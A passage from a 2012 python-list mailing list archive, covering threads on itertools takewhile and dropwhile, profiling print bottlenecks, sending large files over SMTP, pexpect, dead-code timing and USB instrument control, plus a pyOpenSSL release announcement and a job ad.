robust, has a minimum of symbols, uses simple expressions and is not overly clever. If we could just get used to using takewhile. takewhile mines for gold at the start of a sequence, dropwhile drops the dross at the start of a sequence. Thanks all for your interest and your help, Best, Nick Terry's implementations: > from itertools import takewhile > > def allcaps(word): return word == word.upper() > > > > def split_product_itertools(s): > > product = ' '.join(takewhile(allcaps, s.split())) > > return product, s[len(product)+1:] > > > > print(split_product_itertools("CAPSICUM RED fresh from QLD")) > > >>> > > ('CAPSICUM RED', 'fresh from QLD') > > > > [if there could be surplus whitespace], the same idea applies to the split list. > > > > def split_product_itertools(s): > > words = s.split() > > product = list(takewhile(allcaps, words)) > > return ' '.join(product), ' '.join(words[len(product):]) > From sherjilozair at gmail.com Tue Dec 4 21:25:53 2012 From: sherjilozair at gmail.com (SherjilOzair) Date: Tue, 4 Dec 2012 18:25:53 -0800 (PST) Subject: How to determine if printing is being a bottleneck in my code? Message-ID: <29c74a30-f017-44b5-8a3d-a3c0d659277d@googlegroups.com> Hello list, When it comes to printing things while some computation is being done, there are 2 extremes. 1. printing speed is slower than data-to-print generation speed. In this case, printing is a bottleneck. Examples: "for i in xrange(2**30): print i". Without the print, this code would be much faster. 2. data-to-print generation speed is slower than printing speed. So, this case, printing does now slow you down much. Example: for m in matrices: print m.inverse() # inverse is a time-taking function These two cases are pretty easy. But, my question is, how to draw the line? How do I know that print is slowing me down, and I should probably remove some of them? Is there a scientific way to do this, rather than just intuition and guesswork? I can clarify, if needed. Thanks, Sherjil Ozair From subhabangalore at gmail.com Tue Dec 4 21:36:10 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Tue, 4 Dec 2012 18:36:10 -0800 (PST) Subject: Python Cluster In-Reply-To: References: <7de5b6b5-a8fa-471a-b5df-3c03adb21640@googlegroups.com> Message-ID: <68fd3de7-8b7f-41fb-9768-d533ca4aaa57@googlegroups.com> On Wednesday, December 5, 2012 2:33:56 AM UTC+5:30, Miki Tebeka wrote: > On Tuesday, December 4, 2012 11:04:15 AM UTC-8, subhaba... at gmail.com wrote: > > > >>> cl = HierarchicalClustering(data, lambda x,y: abs(x-y)) > > > but now I want to visualize it if any one suggest how may I use visualization(like matplotlib or pyplot etc.) to see the data? > > One option is to use a scatter plot with different color per cluster. See the many examples in http://matplotlib.org/gallery.html. > > > > HTH, > > -- > > Miki Thanks Miki. Good Gallery I think it'd do. We can plot as we feel. Regards,Subhabrata. From roy at panix.com Tue Dec 4 21:36:35 2012 From: roy at panix.com (Roy Smith) Date: Tue, 04 Dec 2012 21:36:35 -0500 Subject: How to determine if printing is being a bottleneck in my code? References: <29c74a30-f017-44b5-8a3d-a3c0d659277d@googlegroups.com> Message-ID: In article <29c74a30-f017-44b5-8a3d-a3c0d659277d at googlegroups.com>, SherjilOzair wrote: > Hello list, > > When it comes to printing things while some computation is being done, there > are 2 extremes. > > 1. printing speed is slower than data-to-print generation speed. In this > case, printing is a bottleneck. Examples: "for i in xrange(2**30): print i". > Without the print, this code would be much faster. > > 2. data-to-print generation speed is slower than printing speed. So, this > case, printing does now slow you down much. Example: for m in matrices: print > m.inverse() # inverse is a time-taking function > > These two cases are pretty easy. But, my question is, how to draw the line? > How do I know that print is slowing me down, and I should probably remove > some of them? Is there a scientific way to do this, rather than just > intuition and guesswork? > > I can clarify, if needed. > Thanks, > Sherjil Ozair The profiler (http://docs.python.org/2/library/profile.html) is your friend. From rustompmody at gmail.com Tue Dec 4 21:49:02 2012 From: rustompmody at gmail.com (rusi) Date: Tue, 4 Dec 2012 18:49:02 -0800 (PST) Subject: How to determine if printing is being a bottleneck in my code? References: <29c74a30-f017-44b5-8a3d-a3c0d659277d@googlegroups.com> Message-ID: On Dec 5, 7:36?am, Roy Smith wrote: > In article <29c74a30-f017-44b5-8a3d-a3c0d659277d at googlegroups.com>, > > > > > > > > > > ?SherjilOzair wrote: > > Hello list, > > > When it comes to printing things while some computation is being done, there > > are 2 extremes. > > > 1. printing speed is slower than data-to-print generation speed. In this > > case, printing is a bottleneck. Examples: "for i in xrange(2**30): print i". > > Without the print, this code would be much faster. > > > 2. data-to-print generation speed is slower than printing speed. So, this > > case, printing does now slow you down much. Example: for m in matrices: print > > m.inverse() # inverse is a time-taking function > > > These two cases are pretty easy. But, my question is, how to draw the line? > > How do I know that print is slowing me down, and I should probably remove > > some of them? Is there a scientific way to do this, rather than just > > intuition and guesswork? > > > I can clarify, if needed. > > Thanks, > > Sherjil Ozair > > The profiler (http://docs.python.org/2/library/profile.html) is your > friend. One added caveat: When 'printing' is the bottleneck it can be - in the actual disk/console/network I/O - in the str/repr builtin/customized that precedes it [Or both of course] So after you identify printing as the bottleneck, it may be worthwhile to print to a dummy device. On Unix one usually uses /dev/null for this but whether that will help clarify or muddy the picture I am not sure (Whats the overhead to writing to null?) A more internal-to-python method may be to replace the print with a str/repr assigned to say a global variable From rosuav at gmail.com Wed Dec 5 00:34:25 2012 From: rosuav at gmail.com (Chris Angelico) Date: Wed, 5 Dec 2012 16:34:25 +1100 Subject: using smtp sent large file upto 60MB In-Reply-To: <85208793-33f5-4ea7-a20c-98436afe0300@m4g2000yqf.googlegroups.com> References: <1d8228ff-8f9e-4258-8927-2f964c36d8bf@n5g2000vbk.googlegroups.com> <50BE1990.4020009@shopzeus.com> <85208793-33f5-4ea7-a20c-98436afe0300@m4g2000yqf.googlegroups.com> Message-ID: On Wed, Dec 5, 2012 at 11:54 AM, moonhkt wrote: > I am prepare change UNIX script to Python. smtp and ftp are my first > tasks. > > But, when using standard unix command mail and uuencode without this > issue. > > Our SMTP can send file more than 60MB. But our notes server can > configured 100MB,30MB or 10MB. My notes Mail box can receive 100MB. > > In UNIX, by below command send smtp mail. > uuencode $xfn $xfn | mail -s "$SUBJECT" $NAME Yes, and it is possible to send that much content via SMTP. It just isn't something that library authors are going to be overly concerned about. You may need to jump through a few extra hoops, or maybe just throw more RAM at the computer (possibly switching to a 64-bit build of Python if you aren't already using one). However, I would *still* recommend using a different transport for such large files. ChrisA From moonhkt at gmail.com Wed Dec 5 02:40:47 2012 From: moonhkt at gmail.com (moonhkt) Date: Tue, 4 Dec 2012 23:40:47 -0800 (PST) Subject: using smtp sent large file upto 60MB References: <1d8228ff-8f9e-4258-8927-2f964c36d8bf@n5g2000vbk.googlegroups.com> <50BE1990.4020009@shopzeus.com> <85208793-33f5-4ea7-a20c-98436afe0300@m4g2000yqf.googlegroups.com> Message-ID: <1f9ea1f6-b72a-4e85-a3f6-9cca540d140f@c16g2000yqi.googlegroups.com> On 12?5?, ??1?34?, Chris Angelico wrote: > On Wed, Dec 5, 2012 at 11:54 AM, moonhkt wrote: > > I am prepare change UNIX script to Python. smtp and ftp are my first > > tasks. > > > But, when using standard unix command mail and uuencode without this > > issue. > > > Our SMTP can send file more than 60MB. But our notes server can > > configured 100MB,30MB or 10MB. My notes Mail box can receive 100MB. > > > In UNIX, by below command send ?smtp mail. > > uuencode $xfn $xfn | mail -s "$SUBJECT" $NAME > > Yes, and it is possible to send that much content via SMTP. It just > isn't something that library authors are going to be overly concerned > about. You may need to jump through a few extra hoops, or maybe just > throw more RAM at the computer (possibly switching to a 64-bit build > of Python if you aren't already using one). However, I would *still* > recommend using a different transport for such large files. > > ChrisA Thank a lot. We still using Python version : 2.6.2 on AIX 5.3 From thomas.elsgaard at gmail.com Wed Dec 5 02:41:23 2012 From: thomas.elsgaard at gmail.com (Thomas Elsgaard) Date: Wed, 5 Dec 2012 08:41:23 +0100 Subject: How to check if Pexpect child already exist? Message-ID: Hi List I am wondering, how can i check if child already exist before i spawn ? child.isalive() cannot be done on child before it has been spawned. --- import pexpect child=pexpect.spawn('ssh mysurface at 192.168.1.105') child.sendline('test') --- Thomas -------------- next part -------------- An HTML attachment was scrubbed... URL: From d at davea.name Wed Dec 5 03:20:26 2012 From: d at davea.name (Dave Angel) Date: Wed, 05 Dec 2012 03:20:26 -0500 Subject: How to check if Pexpect child already exist? In-Reply-To: References: Message-ID: <50BF03CA.5010602@davea.name> On 12/05/2012 02:41 AM, Thomas Elsgaard wrote: > Hi List > > I am wondering, how can i check if child already exist before i spawn > ? By definition, before you call the spawn, the child doesn't exist. So presumably you must mean something else. > child.isalive() cannot be done on child before it has been spawned. > > --- > import pexpect > > child=pexpect.spawn('ssh mysurface at 192.168.1.105') > child.sendline('test') > --- > > All we have to do is guess what you really mean. Do you mean you want to know if there are any instances of ssh running? Regardless of how they got spawned, or from what process? Or are you trying to determine if the current process (your script) has any children, of any kind? Or what? Also, you should probably tell what OS and Python versions you're running. One approach on Linux might be to capture the output of 'ps aux' and parse it for whatever match criteria you have. -- DaveA From info at egenix.com Wed Dec 5 03:52:32 2012 From: info at egenix.com (eGenix Team: M.-A. Lemburg) Date: Wed, 05 Dec 2012 09:52:32 +0100 Subject: ANN: eGenix pyOpenSSL Distribution 0.13.0-1.0.1c Message-ID: <50BF0B50.8030600@egenix.com> ________________________________________________________________________ ANNOUNCING eGenix.com pyOpenSSL Distribution Version 0.13.0-1.0.1c An easy-to-install and easy-to-use distribution of the pyOpenSSL Python interface for OpenSSL - available for Windows, Mac OS X and Unix platforms This announcement is also available on our web-site for online reading: http://www.egenix.com/company/news/eGenix-pyOpenSSL-Distribution-0.13.0-1.0.1c-1.html ________________________________________________________________________ INTRODUCTION The eGenix.com pyOpenSSL Distribution includes everything you need to get started with SSL in Python. It comes with an easy-to-use installer that includes the most recent OpenSSL library versions in pre-compiled form, making your application independent of OS provided OpenSSL libraries: http://www.egenix.com/products/python/pyOpenSSL/ pyOpenSSL is an open-source Python add-on that allows writing SSL/TLS- aware network applications as well as certificate management tools: https://launchpad.net/pyopenssl/ OpenSSL is an open-source implementation of the SSL/TLS protocol: http://www.openssl.org/ ________________________________________________________________________ NEWS This new release of the eGenix.com pyOpenSSL Distribution updates the included OpenSSL version to 1.0.1c. New features in OpenSSL 1.0.1c since 1.0.0j ------------------------------------------- OpenSSL 1.0.1c includes several new features: * TLS/DTLS heartbeat support * Next Protocol Negotiation * Support TLS v1.2 and TLS v1.1 as well as several other new features: http://lwn.net/Articles/486426/ fixes vulnerabilities relative to 1.0.0j: http://openssl.org/news/vulnerabilities.html and includes a number of stability enhancements as well as extra protection against attacks: http://openssl.org/news/changelog.html New features in the eGenix pyOpenSSL Distribution ------------------------------------------------- * Added the openssl binary to the OpenSSL package directory. This can be used to access OpenSSL functionality not exposed by pyOpenSSL. * Changed the Windows OPENSSLDIR default to c:\openssl\ to simplify OpenSSL configuration. * Fixed OpenSSL assembler build issues on Windows x64 and Mac OS X PPC/x86. As always, we provide binaries that include both pyOpenSSL and the necessary OpenSSL libraries for all supported platforms: Windows x86 and x64, Linux x86 and x64, Mac OS X PPC, x86 and x64. We've also added egg-file distribution versions of our eGenix.com pyOpenSSL Distribution for Windows, Linux and Mac OS X to the available download options. These make setups using e.g. zc.buildout and other egg-file based installers a lot easier. ________________________________________________________________________ DOWNLOADS The download archives and instructions for installing the package can be found at: http://www.egenix.com/products/python/pyOpenSSL/ ________________________________________________________________________ UPGRADING Before installing this version of pyOpenSSL, please make sure that you uninstall any previously installed pyOpenSSL version. Otherwise, you could end up not using the included OpenSSL libs. _______________________________________________________________________ SUPPORT Commercial support for these packages is available from eGenix.com. Please see http://www.egenix.com/services/support/ for details about our support offerings. ________________________________________________________________________ MORE INFORMATION For more information about the eGenix pyOpenSSL Distributon, licensing and download instructions, please visit our web-site or write to sales at egenix.com. Enjoy, -- Marc-Andre Lemburg eGenix.com Professional Python Services directly from the Source (#1, Dec 05 2012) >>> Python Projects, Consulting and Support ... http://www.egenix.com/ >>> mxODBC.Zope/Plone.Database.Adapter ... http://zope.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ 2012-11-28: Released eGenix mx Base 3.2.5 ... http://egenix.com/go36 2013-01-22: Python Meeting Duesseldorf ... 48 days to go ::: Try our new mxODBC.Connect Python Database Interface for free ! :::: eGenix.com Software, Skills and Services GmbH Pastor-Loeh-Str.48 D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg Registered at Amtsgericht Duesseldorf: HRB 46611 http://www.egenix.com/company/contact/ From mal at egenix.com Wed Dec 5 04:18:45 2012 From: mal at egenix.com (M.-A. Lemburg) Date: Wed, 05 Dec 2012 10:18:45 +0100 Subject: ANN: eGenix mx Base Distribution 3.2.5 (mxDateTime, mxTextTools, etc.) In-Reply-To: References: Message-ID: <50BF1175.8010902@egenix.com> On 01.12.2012 21:12, Piet van Oostrum wrote: > "M.-A. Lemburg" writes: > >> ________________________________________________________________________ >> >> ANNOUNCING >> >> eGenix.com mx Base Distribution >> >> Version 3.2.5 for Python 2.4 - 2.7 >> >> Open Source Python extensions providing >> important and useful services >> for Python programmers. >> >> This announcement is also available on our web-site for online reading: >> http://www.egenix.com/company/news/eGenix-mx-Base-Distribution-3.2.5-GA.html > > It says 3.2.4. > Thanks for the report. I guess we forgot to update the internal package version numbers in the release process. We'll fix that with the next release. -- Marc-Andre Lemburg eGenix.com Professional Python Services directly from the Source (#1, Dec 05 2012) >>> Python Projects, Consulting and Support ... http://www.egenix.com/ >>> mxODBC.Zope/Plone.Database.Adapter ... http://zope.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ 2012-11-28: Released eGenix mx Base 3.2.5 ... http://egenix.com/go36 2013-01-22: Python Meeting Duesseldorf ... 48 days to go ::: Try our new mxODBC.Connect Python Database Interface for free ! :::: eGenix.com Software, Skills and Services GmbH Pastor-Loeh-Str.48 D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg Registered at Amtsgericht Duesseldorf: HRB 46611 http://www.egenix.com/company/contact/ From gnarlodious at gmail.com Wed Dec 5 05:58:30 2012 From: gnarlodious at gmail.com (Gnarlodious) Date: Wed, 5 Dec 2012 02:58:30 -0800 (PST) Subject: pydoc links prepend a domain Message-ID: <5fbc53cd-82fd-462d-9a62-0cbc72455a4c@googlegroups.com> The pydoc.html.docmodule sends a page with clickable links relative to the script location. Is there a way to tell pydoc to prepend a string to those URLs? -- Gnarlie From neilc at norwich.edu Wed Dec 5 08:29:13 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 5 Dec 2012 13:29:13 GMT Subject: Good use for itertools.dropwhile and itertools.takewhile References: Message-ID: On 2012-12-05, Nick Mellor wrote: > Hi Terry, > > For my money, and especially in your versions, despite several > expert solutions using other features, itertools has it. It > seems to me to need less nutting out than the other approaches. > It's short, robust, has a minimum of symbols, uses simple > expressions and is not overly clever. If we could just get used > to using takewhile. The main reason most of the solutions posted failed is lack of complete specification to work with while sumultaneously trying to make as tiny and simplistic a solution as possible. I'm struggling with the empty description bug right now. ;) -- Neil Cerutti From rosuav at gmail.com Wed Dec 5 08:45:05 2012 From: rosuav at gmail.com (Chris Angelico) Date: Thu, 6 Dec 2012 00:45:05 +1100 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: <05bca175-2077-4fb8-917e-baee1a43a47d@googlegroups.com> References: <05bca175-2077-4fb8-917e-baee1a43a47d@googlegroups.com> Message-ID: On Wed, Dec 5, 2012 at 12:17 PM, Nick Mellor wrote: > > takewhile mines for gold at the start of a sequence, dropwhile drops the dross at the start of a sequence. When you're using both over the same sequence and with the same condition, it seems odd that you need to iterate over it twice. Perhaps a partitioning iterator would be cleaner - something like this: def partitionwhile(predicate, iterable): iterable = iter(iterable) while True: val = next(iterable) if not predicate(val): break yield val raise StopIteration # Signal the end of Phase 1 for val in iterable: yield val # or just "yield from iterable", I think Only the cold hard boot of reality just stomped out the spark of an idea. Once StopIteration has been raised, that's it, there's no "resuming" the iterator. Is there a way around that? Is there a clean way to say "Done for now, but next time you ask, there'll be more"? I tested it on Python 3.2 (yeah, time I upgraded, I know). ChrisA From neilc at norwich.edu Wed Dec 5 09:34:37 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 5 Dec 2012 14:34:37 GMT Subject: Good use for itertools.dropwhile and itertools.takewhile References: <05bca175-2077-4fb8-917e-baee1a43a47d@googlegroups.com> Message-ID: On 2012-12-05, Chris Angelico wrote: > On Wed, Dec 5, 2012 at 12:17 PM, Nick Mellor wrote: >> >> takewhile mines for gold at the start of a sequence, dropwhile >> drops the dross at the start of a sequence. > > When you're using both over the same sequence and with the same > condition, it seems odd that you need to iterate over it twice. > Perhaps a partitioning iterator would be cleaner - something > like this: > > def partitionwhile(predicate, iterable): > iterable = iter(iterable) > while True: > val = next(iterable) > if not predicate(val): break > yield val > raise StopIteration # Signal the end of Phase 1 > for val in iterable: yield val # or just "yield from iterable", I think > > Only the cold hard boot of reality just stomped out the spark > of an idea. Once StopIteration has been raised, that's it, > there's no "resuming" the iterator. Is there a way around that? > Is there a clean way to say "Done for now, but next time you > ask, there'll be more"? > > I tested it on Python 3.2 (yeah, time I upgraded, I know). Well, shoot! Then this is a job for groupby, not takewhile. def prod_desc(s): """split s into product name and product description. >>> prod_desc("CAR FIFTY TWO Chrysler LeBaron.") ['CAR FIFTY TWO', 'Chrysler LeBaron.'] >>> prod_desc("MR. JONESEY Saskatchewan's finest") ['MR. JONESEY', "Saskatchewan's finest"] >>> prod_desc("no product name?") ['', 'no product name?'] >>> prod_desc("NO DESCRIPTION") ['NO DESCRIPTION', ''] """ prod = '' desc = '' for k, g in itertools.groupby(s.split(), key=lambda w: any(c.islower() for c in w)): a = ' '.join(g) if k: desc = a else: prod = a return [prod, desc] This has no way to preserve odd white space which could break evil product name differences. -- Neil Cerutti From kr2aniel at gmail.com Wed Dec 5 09:54:52 2012 From: kr2aniel at gmail.com (EAGLE001101) Date: Wed, 5 Dec 2012 06:54:52 -0800 (PST) Subject: http://docs.python.org/2.7/tutorial/index.html Message-ID: <0be6a80a-41ec-4e3b-922f-e282b430f51b@googlegroups.com> From torriem at gmail.com Wed Dec 5 10:01:31 2012 From: torriem at gmail.com (Michael Torrie) Date: Wed, 05 Dec 2012 08:01:31 -0700 Subject: using smtp sent large file upto 60MB In-Reply-To: <85208793-33f5-4ea7-a20c-98436afe0300@m4g2000yqf.googlegroups.com> References: <1d8228ff-8f9e-4258-8927-2f964c36d8bf@n5g2000vbk.googlegroups.com> <50BE1990.4020009@shopzeus.com> <85208793-33f5-4ea7-a20c-98436afe0300@m4g2000yqf.googlegroups.com> Message-ID: <50BF61CB.9020608@gmail.com> On 12/04/2012 05:54 PM, moonhkt wrote: > Our SMTP can send file more than 60MB. But our notes server can > configured 100MB,30MB or 10MB. My notes Mail box can receive 100MB. > > In UNIX, by below command send smtp mail. > uuencode $xfn $xfn | mail -s "$SUBJECT" $NAME Just continue to use this set of commands. You can use the subprocess module to interact with these programs. From wrw at mac.com Wed Dec 5 10:26:27 2012 From: wrw at mac.com (wrw at mac.com) Date: Wed, 05 Dec 2012 10:26:27 -0500 Subject: problem with usbtmc-communication In-Reply-To: <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> Message-ID: <8C5B0809-B0C6-4819-A013-560C2487C501@mac.com> On Dec 4, 2012, at 11:12 AM, Jean Dubois wrote: > On 4 dec, 15:33, w... at mac.com wrote: >> On Dec 4, 2012, at 7:14 AM, Jean Dubois wrote: >> >> >> >>> The following test program which tries to communicate with a Keithley >>> 2200 programmable power supply using usbtmc in Python does not work as Is usbtmc a software layer (library of some sort) or some sort of hardware adapter? >>> expected. I have connected a 10 ohm resistor to its terminals and I >>> apply 0.025A, 0.050A, 0.075A en 0.1A, >>> I then measure the current and the voltage en write them in a file >>> De data produced looks like this: >>> 0.00544643 0.254061; first current value is wrong, voltage value is >>> correct >>> 0.0250807 0.509289; second current value is wrong, but it corresponds >>> to the first, second voltage is correct >>> 0.0501099 0.763945; 3rd current value is wrong, but it corresponds to >>> the second, 3rd voltage is right >>> 0.075099 1.01792; 4th current value is wrong, it corresponds to the >>> 3rd, 4th voltage is right >>> 4th correct current value is missing >> >>> But is should be (numerical inaccuracy taking into account)(these data >>> were produced by a similar octave-program): >>> 0.0248947 0.254047 >>> 0.0499105 0.509258 >>> 0.0749044 0.764001 >>> 0.0998926 1.01828 >> >>> Here is the python-program: >>> #!/usr/bin/python >>> import time >>> import os >>> import sys >>> measurementcurr='' >>> measurementvolt='' >>> timesleepdefault=1 >>> filename ='mydata.txt' >>> usbkeith = open('/dev/usbtmc1','r+') >>> usbkeith.flush() >>> usbkeith.write("*IDN?\n") >>> #strip blank line: >>> identification=usbkeith.readline().strip() >>> print 'Found device: ',identification >>> usbkeith.write("SYST:REM" + "\n") >>> usbkeith.write(":SENS:VOLT:PROT 1.5\n") >>> keithdata = open(filename,'w') >>> #start first measurement >>> usbkeith.write(":SOUR:CURR 0.025\n") >>> usbkeith.write(":OUTP:STAT ON\n") >>> time.sleep(timesleepdefault) >>> usbkeith.write(":MEAS:CURR?\n") >>> time.sleep(timesleepdefault) >>> measurementcurr=usbkeith.readline() >>> print 'Measured current 1: ',measurementcurr >>> usbkeith.write("MEAS:VOLT?\n") >>> time.sleep(timesleepdefault) >>> measurementvolt=usbkeith.readline() Without knowing anything about the usbtmc hardware/software it is hard to make real recommendations, but it seems pretty clear that you are being stepped on by a buffer problem of some sort. I'm VERY suspicious of using of readline() as a way of getting the data out of the usbtmc thingy. That makes python treat the Keithley as a file-like object and there are way too many ways the file pointer may not be where you think it is. I note that in your Octave example you are reading characters rather than lines. It seems to me that you have two choices here, either do the equivalent in python or dig through the Keithley documentation to find the hex codes that usbtmc is presumably translating your commands into. If you can find those, and if you are interested, I can send you off-line the handler I wrote a couple of years ago that used a dictionary to translate English commands into hex, then assembled those with a checksum and sent the string out to a Keyspan usb to serial converter. -Bill From breamoreboy at yahoo.co.uk Wed Dec 5 10:32:38 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Wed, 05 Dec 2012 15:32:38 +0000 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: <05bca175-2077-4fb8-917e-baee1a43a47d@googlegroups.com> Message-ID: On 05/12/2012 13:45, Chris Angelico wrote: > > I tested it on Python 3.2 (yeah, time I upgraded, I know). Bad move, fancy wanting to go to the completely useless version of Python that simply can't handle unicode properly :) -- Cheers. Mark Lawrence. From ian.g.kelly at gmail.com Wed Dec 5 10:33:14 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Wed, 5 Dec 2012 08:33:14 -0700 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: <05bca175-2077-4fb8-917e-baee1a43a47d@googlegroups.com> Message-ID: On Wed, Dec 5, 2012 at 7:34 AM, Neil Cerutti wrote: > Well, shoot! Then this is a job for groupby, not takewhile. The problem with groupby is that you can't just limit it to two groups. >>> prod_desc("CAPSICUM RED fresh from QLD") ['QLD', 'fresh from'] Once you've got a false key from the groupby, you would need to pretend that any subsequent groups are part of the false group and tack them on. From Whitney at selectgroup.com Wed Dec 5 10:34:03 2012 From: Whitney at selectgroup.com (Whitney Holman) Date: Wed, 5 Dec 2012 15:34:03 +0000 Subject: Software Developer NEEDED! Morrisville, NC Message-ID: <83D3DE35596347439D30522D7E54B5818C2B2C@BY2PRD0711MB429.namprd07.prod.outlook.com> PYTHON DEVELOPER NEEDED - EXCITING OPPORTUNITY IN MORRISVILLE, NC The Select Group is seeking a Python software engineer for fun, energetic, and growing company in Morrisville, NC. The ideal candidate will have hands-on development experience, and must have working knowledge of Python. A very casual, but fast-paced environment, the company promotes internal growth for people with a willingness to learn and a passion for software development. RESPONSIBILITIES . New Product Development, and Existing Product Support . In Charge of Multiple Internal & External Websites REQUIREMENTS . 1-3 years of development experience . Python experience PLUSES . Experience with C++, Java, or Perl . Hands on work with SQL, PHP, and Linux . Previously worked with a Content Management System: WordPress, Joomla, or Drupal Whitney Holman Technical Recruiter THE SELECT GROUP Direct: 919.459.1040 |? Cell: 704.264.6273 Whitney at selectgroup.com ?? | ?LinkedIn 5420 Wade Park Blvd. Ste 100 ?| ?Raleigh, NC 27607? Web Site| Corporate Video | Awards | Career Resources At The Select Group we're dedicated to delivering the best experience for our candidates and clients. We appreciate any and all feedback. Please contact my manager, Byron Dunn at Byron at selectgroup.com. "Connecting great companies with quality talent.".see how at The Select Group Advantage From breamoreboy at yahoo.co.uk Wed Dec 5 10:42:49 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Wed, 05 Dec 2012 15:42:49 +0000 Subject: http://docs.python.org/2.7/tutorial/index.html In-Reply-To: <0be6a80a-41ec-4e3b-922f-e282b430f51b@googlegroups.com> References: <0be6a80a-41ec-4e3b-922f-e282b430f51b@googlegroups.com> Message-ID: On 05/12/2012 14:54, EAGLE001101 wrote: > Well speaking personally I'm convinced that the majority of wrong thinking people in this country are right, and I'm sick and tired of being told that they're not. An alternative is that you wanted some data regarding the Python tutorial, but dear old gmane delivered me precisely nothing worth commenting on, perhaps because it smelt the Google Screen Of Death? :) Please try Plan B. -- Cheers. Mark Lawrence. From python.ml.bruno.dupuis at lisael.org Wed Dec 5 10:46:39 2012 From: python.ml.bruno.dupuis at lisael.org (Bruno Dupuis) Date: Wed, 5 Dec 2012 16:46:39 +0100 Subject: why does dead code costs time? Message-ID: <20121205154639.GE10865@hud> Hi, I'm interested in compilers optimizations, so I study python compilation process I ran that script: import timeit def f(x): return None def g(x): return None print(x) number = 10000 print(timeit.timeit('f(1)',setup="from __main__ import f", number=number)) print(timeit.timeit('g(1)',setup="from __main__ import g", number=number)) print(dis.dis(f)) print(dis.dis(g)) It gives this output: 0.003460251959040761 0.004164454061537981 17 0 LOAD_CONST 0 (None) 3 RETURN_VALUE None 20 0 LOAD_GLOBAL 0 (None) 3 RETURN_VALUE 21 4 LOAD_GLOBAL 1 (print) 7 LOAD_FAST 0 (x) 10 CALL_FUNCTION 1 (1 positional, 0 keyword pair) 13 POP_TOP None I do not understand why the dead code `print(x)` takes time (~20% in that case). As we see in the opcode, a call to g(1) returns immediately, so there should be no delay at all. Where am i wrong? mmhh... it comes to me now that the gap must be in function loading time... I'll check ceval.c However, isn't there a room for a slight optim here? (in this case, the dead code is obvious, but it may be hidden by complex loops and conditions) Cheers -- Bruno Dupuis From neilc at norwich.edu Wed Dec 5 11:11:22 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 5 Dec 2012 16:11:22 GMT Subject: Good use for itertools.dropwhile and itertools.takewhile References: <05bca175-2077-4fb8-917e-baee1a43a47d@googlegroups.com> Message-ID: On 2012-12-05, Ian Kelly wrote: > On Wed, Dec 5, 2012 at 7:34 AM, Neil Cerutti wrote: >> Well, shoot! Then this is a job for groupby, not takewhile. > > The problem with groupby is that you can't just limit it to two groups. > >>>> prod_desc("CAPSICUM RED fresh from QLD") > ['QLD', 'fresh from'] > > Once you've got a false key from the groupby, you would need to > pretend that any subsequent groups are part of the false group > and tack them on. Whoops! Yep, that was from the very beginning of the thread. -- Neil Cerutti From neilc at norwich.edu Wed Dec 5 11:15:59 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 5 Dec 2012 16:15:59 GMT Subject: why does dead code costs time? References: Message-ID: On 2012-12-05, Bruno Dupuis wrote: > Hi, > > I'm interested in compilers optimizations, so I study python > compilation process > > I ran that script: > > import timeit > > def f(x): > return None > > def g(x): > return None > print(x) > > number = 10000 > > print(timeit.timeit('f(1)',setup="from __main__ import f", number=number)) > print(timeit.timeit('g(1)',setup="from __main__ import g", number=number)) > > print(dis.dis(f)) > print(dis.dis(g)) > > It gives this output: > > 0.003460251959040761 > 0.004164454061537981 > 17 0 LOAD_CONST 0 (None) > 3 RETURN_VALUE > None > 20 0 LOAD_GLOBAL 0 (None) > 3 RETURN_VALUE > > 21 4 LOAD_GLOBAL 1 (print) > 7 LOAD_FAST 0 (x) > 10 CALL_FUNCTION 1 (1 positional, 0 keyword pair) > 13 POP_TOP > None > > I do not understand why the dead code `print(x)` takes time (~20% in > that case). As we see in the opcode, a call to g(1) returns immediately, so > there should be no delay at all. Where am i wrong? > > mmhh... it comes to me now that the gap must be in function loading time... > I'll check ceval.c > > However, isn't there a room for a slight optim here? (in this case, the > dead code is obvious, but it may be hidden by complex loops and > conditions) Maybe it's the difference between LOAD_CONST and LOAD_GLOBAL. We can wonder why g uses the latter. -- Neil Cerutti From ian.g.kelly at gmail.com Wed Dec 5 11:16:09 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Wed, 5 Dec 2012 09:16:09 -0700 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: <05bca175-2077-4fb8-917e-baee1a43a47d@googlegroups.com> Message-ID: On Wed, Dec 5, 2012 at 6:45 AM, Chris Angelico wrote: > On Wed, Dec 5, 2012 at 12:17 PM, Nick Mellor wrote: >> >> takewhile mines for gold at the start of a sequence, dropwhile drops the dross at the start of a sequence. > > When you're using both over the same sequence and with the same > condition, it seems odd that you need to iterate over it twice. > Perhaps a partitioning iterator would be cleaner - something like > this: > > def partitionwhile(predicate, iterable): > iterable = iter(iterable) > while True: > val = next(iterable) > if not predicate(val): break > yield val > raise StopIteration # Signal the end of Phase 1 > for val in iterable: yield val # or just "yield from iterable", I think > > Only the cold hard boot of reality just stomped out the spark of an > idea. Once StopIteration has been raised, that's it, there's no > "resuming" the iterator. Is there a way around that? Is there a clean > way to say "Done for now, but next time you ask, there'll be more"? Return two separate iterators, with the contract that the second iterator can't be used until the first has completed. Combined with Neil's groupby suggestion, we end up with something like this: def partitionwhile(predicate, iterable): it = itertools.groupby(iterable, lambda x: bool(predicate(x))) pushback = missing = object() def first(): nonlocal pushback pred, subit = next(it) if pred: yield from subit pushback = None else: 